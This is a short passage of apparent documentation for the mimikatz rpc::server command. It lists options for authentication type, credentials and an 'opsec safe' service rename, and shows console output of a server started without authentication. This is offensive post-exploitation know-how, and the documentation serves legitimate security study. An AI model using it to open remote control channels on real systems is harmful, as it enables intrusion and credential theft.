• /noreg: to not register the RPC binding

• /secure: only secure connections are accepted

• /altservice: alter the rpc service name (opsec safe)

• /negotiate: the default authentication mechanism GSS_NEGOTIATE (9).

• /ntlm: use NTLM authentication WINNT (10).

• /kerberos: use Kerberos authentication GSS_KERBEROS (16).

• /authuser: the user for authentication

• /authdomain: the domain of the authuser

• /authpassword: the authuser's password

Without authentication

An RPC server can be started without an authentication requirement.

mimikatz # rpc::server
[rpc] ProtSeq  : ncacn_ip_tcp
[rpc] Endpoint : (null)
[rpc] Service  : (null)
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Map Reg.: yes
Security: Allow no auth
